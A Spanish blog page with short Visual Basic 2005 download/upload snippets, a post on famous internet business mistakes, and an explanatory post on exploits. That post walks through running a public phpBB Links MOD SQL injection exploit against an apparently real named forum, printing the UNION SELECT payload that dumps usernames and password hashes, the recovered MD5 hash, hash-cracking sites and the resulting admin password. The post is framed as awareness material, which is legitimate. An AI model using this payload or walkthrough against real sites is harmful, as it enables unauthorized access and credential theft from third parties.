Tag ejemplo

Subir archivos a internet con Visual Basic 2005 0

Oct3

Hace unos dias os puse como se pueden descargar archivos con un programa sencillo en Visual Basic 2005.
Ahora os voy a poner un ejemplo de como hacer la tarea a la inversa, subir los archivos que queramos a un servidor FTP que deseemos.
Con este programa podremos hacer 3 cosas: Subir archivos, comprobar que tenemos conexion a internet y por ultimo hacer ping a una web.

Para empezar vamos a escribir este codigo en un control button:

1. Private Sub Descargar_Archivo(ByVal Url As String, _
2. ByVal Path_Archivo As String, _
3. ByVal usuario As String, _
4. ByVal password As String)
5. ‘ Controlador de error
6. Try continue reading »

Ejemplo para descargar archivos de internet con Visual Basic 2005 0

Sep30

Hoy os voy a poner un ejemplo para poder descargar archivos con visual basic 2005.

Los controles que vamos a necesitar son los siguientes:

- Un control Button
- Un control textbox llamado “txt_Url”
– Un control textbox llamado “txt_path_destino”

Una vez dicho esto, vamos con el codigo en cuestion:

1. Function Descargar_Archivo(ByVal Url As String, _
2. ByVal Path_Destino As String) As Boolean
3. If Url = vbNullString Or Path_Destino = vbNullString Then
4. MsgBox(”No se indicó la url o el archivo de destino”, _
5. MsgBoxStyle.Critical, “Error”)
6. Else continue reading »

Los 3 mayores errores de la Historia de Internet. 0

Ago26

Hacer dinero en internet parece fácil,¿no?. Si 2 chicos pueden crear Ebay y convertirse en multimillonarios en 2 años, esta claro que internet es el mercado más abierto del mundo.
Tambien es cierto que internet no siempre es previsible y más ahora ya que las empresas se la juegan mucho a la hora de invertir, pero los 3 errores más grandes de internet son lo siguientes.

3) Google no compra MySpace

En 2005 Google tuvo la oportunidad de comprar Myspace por $290 millones de dolares pero penso que no sería rentable y dio marcha atras. 3 meses despues la firma Murdoch’s News Corp lo compra por el doble, $580 millones de dolares. Pero ahora vamos a ver lo realmente interesante, en 2006, un año despues Myspace era responsable del 8% del trafico total de busquedas de Google. Por lo que si tenemos en cuenta que Google hace más de 10 billones de dolares, solamente comprar Myspace le hubiese reportado más de lo que hubieran pagado. En resumen, google le da mas dinero a Myspace en 4 meses de lo que le hubiera costado comprar la empresa. Tambien es verdad que Google no puede ir por ahi comprandolo todo y alguna vez tiene que fallar.

2) Terra compra Lycos

Esta es para mi la mayor pifia en una compra. La todo poderosa Terra compro en su dia Lycos por una cifra de 12,5 Billones de dolares. ¿ que paso despues? Que la compra fue un fiasco y la tuvieron que vender por 95 millones de dolares. Por lo que si hacemos cuentan, son unas perdidas de 11,55billones de dolares.

1) Yahoo no quiere comprar Google!

Viendo lo que es actualmente Google es muy facil hablar pero fue un fallo enorme aunque antes no podrian pensar que Google llegara a ser lo que es realmente ahora.
Google se ofrecio a vender por $3billones de dolares pero Yahoo dijo que era mucho dinero para lo que realmente valia Google, pues bien,actualmente Google vale más de 100 billones de dolares, Actualmente Google no esta en venta.no hace falta ser muy listo para saber que fue un gran error.

Ejemplo de como funciona un exploit 0

Ago4

uienes no saben lo que son los exploits les sugiero que lean detenidamente este artículo porque son justamente estas herramientas las que utilizan los crackers para infiltrarse en sistemas desprotegidos o descuidados, los cuales muchas veces permiten accesos de root o Administrador en la máquina afectada. Vamos por paso, en primer lugar ¿que es un exploit?. Son pequeños trozos de código (en cualquier lenguaje) que están escritos para aprovecharse de vulnerabilidades y/o errores específicos dentro de un sistema… para lograr acceder a él de forma ilegítima o causar otro tipo de problemas. Hay que tener en cuenta siempre que TODOS los software del mundo son desarrollados por humanos, por lo tanto es normal encontrarse con errores en los códigos. Estos errores, comúnmente llamados bugs, pueden ser del tipo desbordamiento de búfer (buffer overflow), condición de carrera (race condition), errores de validación de variables, etc, etc.

Por ejemplo si se encontró un error en un software de correo el cual al enviar un telnet al servidor y ejecutar una serie de instrucciones, satura el búfer del software de correos y provoca una denegación de servicio (DoS). Entonces un hacker escribirá un código que sirva para explotar (de ahí el nombre “exploit) esta vulnerabilidad y con un par de instrucciones más quizá sea posible abrir un acceso remoto con permisos de root en el servidor afectado.

Podríamos catalogar a los exploits en dos tipos diferentes:
1.- 0-day
2.- Públicos

Los exploits de tipo 0-day son aquellos que los hackers mantienen ocultos al mundo y los utilizan para explotar los sistemas que quieren. De alguna manera son trozos de código privados.
Por otro lado los exploits públicos son aquellos que los hackers decidieron no utilizar más en su propio beneficio y los liberan públicamente a algunos de los sitios webs más conocidos como www.milw0rm.com, www.securityfocus.com, www.packetstormsecurity.org, etc. Muchas veces pueden pasar varios meses o años entre que el exploit pase de condición 0-day a ser público. Es por esto mismo que los primeros son más peligrosos, ya que al no conocerse la vulnerabilidad y no ser pública entonces existen muchos más servidores afectados cuyos administradores ni siquiera se enteran de que pueden ser atacados. Al hacerse públicos, normalmente se entrega la solución o bien los fabricantes de software reaccionan y sacan una actualización de seguridad crítica.

Esta es la razón por la cual hay que siempre tener dos cosas presentes:
1.- El tipo de software y la versión exacta que tenemos instalado en nuestras máquinas, ya sea como cliente (ejemplo Microsoft Outlook) o servidor (Exchange, Postfix, Sendmail, etc)
2.- Nunca dejar de revisar los sitios de exploits mencionados anteriormente. Increíblemente hay gente que se dedica a estar atentos a estos exploits para inmediatamente cuando se publica comenzar a atacar sitios webs. Estos son los llamados script-kiddies. Pero por más despectivo que parezca el nombre, son igualmente peligrosos.

Debido a eso es que en la columna izquierda de este sitio web aparecen las últimas vulnerabilidades y exploits encontrados que han sido publicadas.

Ejemplo de un exploit:
Hace un par de días (31 de Agosto) atrás salió en www.milw0rm.com el siguiente exploit:
phpBB Links MOD 1.2.2 Remote SQL Injection Exploit
El texto es bastante claro. El módulo “Links” del sistema de foros llamado phpBB en su versión 1.2.2 es vulnerable a inyección SQL remota. Estos significa que mediante la URL es posible interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener la password de Administrador y poder loguearse como tal.
Para ver el exploit haga click aquí.

Este exploit no es muy largo (ya dijimos que son pequeños trozos de código escritos para una vulnerabilidad específica) y está escrito en lenguaje PERL. Por lo tanto para ejecutarlo habrá que tener PERL instalado en nuestras máquinas. Los sistemas Linux/UNIX vienen con PERL.

Lo que se hace es copiar el código y guardarlo en un archivo con extensión .pl (de PERL).

h4×0r@tarro:~/Desktop/exploit$ ls -lh
total 4,0K
-rw-r–r– 1 h4×0r h4×0r 1,5K 2007-09-03 11:53 phpBB2.pl
h4×0r@tarro:~/Desktop/exploit$

y simplemente ejecutarlo. En este caso nos irá pidiendo los datos del sitio web que queremos atacar. Pondré en rojo esto para diferenciarlo.

h4×0r@tarro:~/Desktop/exploit$ perl phpBB2.pl

phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit

Bug discovered by Don
Dork: allinurl:links.php?t=search
or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=
asd&start=1,1%20UNION%20SELECT%201,
username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20
phpbb_users%20WHERE%20user_id=2/*

=> Insert URL
=> without ( http )
=>
www.motoqueros.cl

=> Insert directory
=> es: /forum/ – /phpBB2/
=>
/foros/

=> User ID
=> Number:
=>
1

Exploit in process…
Exploit
in process…
Exploit finished!
MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b

Y eso sería todo. El exploit fue capaz de conectarse a la base de datos y recuperar el password cifrado del usuario con ID 1 (admin en este caso). Esta cadena de 32 caracteres corresponde a un hash en md5. De mucho no nos sirve tener la clave cifrada, pero podemos recuperarla atacándola con fuerza bruta (o diccionario) en los siguientes sitios web:
http://md5.xpzone.de/
http://gdataonline.com/seekhash.php
Ponemos el hash y comprobamos la la clave de admin es 12345. Ahora podemos loguearnos en http://www.sitioweb.com/foros/ usando estos datos.

Existen exploits mucho más elaborados y poderosos, pero esto fue un ejemplo para mostrar cuan simple puede ser recuperar una contraseña o acceder ilegítimamente a un servidor cuando se le aplican los exploits correctos.

gracias a paulo colomés.

rhypee 2.0 is powered by WordPress and FREEmium Theme.
developed by Dariusz Siedlecki and brought to you by FreebiesDock.com